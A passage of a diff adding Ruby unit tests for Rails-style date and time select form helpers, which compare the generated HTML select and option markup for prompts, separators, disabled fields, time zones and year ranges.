+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_time_select_with_separator
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", { :time_separator => " - ", :include_seconds => true })
+  end
+
+  def test_time_select_with_default_prompt
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    expected << %(<option value="">Hour</option>\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+        expected << %(<option value="">Minute</option>\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", :prompt => true)
+  end
+
+  def test_time_select_with_custom_prompt
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+    expected << %(<option value="">Choose hour</option>\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+        expected << %(<option value="">Choose minute</option>\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute'})
+  end
+
+  def test_time_select_with_disabled_html_option
+    @post = Post.new
+    @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<input type="hidden" id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]" value="6" />\n}
+    expected << %{<input type="hidden" id="post_written_on_3i" disabled="disabled" name="post[written_on(3i)]" value="15" />\n}
+
+    expected << %(<select id="post_written_on_4i" disabled="disabled" name="post[written_on(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+    expected << " : "
+    expected << %(<select id="post_written_on_5i" disabled="disabled" name="post[written_on(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, time_select("post", "written_on", {}, :disabled => true)
+  end
+
+  def test_datetime_select
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at")
+  end
+
+  def test_datetime_select_with_selected
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3" selected="selected">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</o [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12" selected="selected">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :selected => Time.local(2004, 3, 10, 12, 30))
+  end
+
+  def test_datetime_select_with_selected_nil
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    expected = '<input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="1"/>' + "\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", discard_year: true, selected: nil)
+  end
+
+  def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
+    # The love zone is UTC+0
+    mytz = Class.new(ActiveSupport::TimeZone) {
+      attr_accessor :now
+    }.create('tenderlove', 0)
+
+    now       = Time.mktime(2004, 6, 15, 16, 35, 0)
+    mytz.now  = now
+    Time.zone = mytz
+
+    assert_equal mytz, Time.zone
+
+    @post = Post.new
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at")
+  ensure
+    Time.zone = nil
+  end
+
+  def test_datetime_select_with_html_options_within_fields_for
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.datetime_select(:updated_at, {}, :class => 'selector')
+    end
+
+    expected = "<select id='post_updated_at_1i' name='post[updated_at(1i)]' class='selector'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='20 [...]
+    expected << "<select id='post_updated_at_2i' name='post[updated_at(2i)]' class='selector'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November [...]
+    expected << "<select id='post_updated_at_3i' name='post[updated_at(3i)]' class='selector'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option> [...]
+    expected << " — <select id='post_updated_at_4i' name='post[updated_at(4i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<op [...]
+    expected << " : <select id='post_updated_at_5i' name='post[updated_at(5i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option v [...]
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_datetime_select_with_separators
+    @post = Post.new
+    @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+    expected << "</select>\n"
+
+    expected << " , "
+
+    expected << %(<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n)
+    0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    expected << " - "
+
+    expected << %(<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n)
+    0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", { :date_separator => " / ", :datetime_separator => " , ", :time_separator => " - ", :include_seconds => true })
+  end
+
+  def test_datetime_select_with_integer
+    @post = Post.new
+    @post.updated_at = 3
+    datetime_select("post", "updated_at")
+  end
+
+  def test_datetime_select_with_infinity # Float
+    @post = Post.new
+    @post.updated_at = (-1.0/0)
+    datetime_select("post", "updated_at")
+  end
+
+  def test_datetime_select_with_default_prompt
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</opt [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</o [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009,  :prompt => true)
+  end
+
+  def test_datetime_select_with_custom_prompt
+    @post = Post.new
+    @post.updated_at = nil
+
+    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+    expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << "</select>\n"
+
+    expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+    expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13"> [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+    expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13 [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'})
+  end
+
+  def test_date_select_with_zero_value_and_no_start_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
+  end
+
+  def test_date_select_with_zero_value_and_no_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    last_year = Time.now.year + 5
+    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
+  end
+
+  def test_date_select_with_zero_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :prefix => "date[first]")
+  end
+
+  def test_date_select_with_nil_value_and_no_start_and_end_year
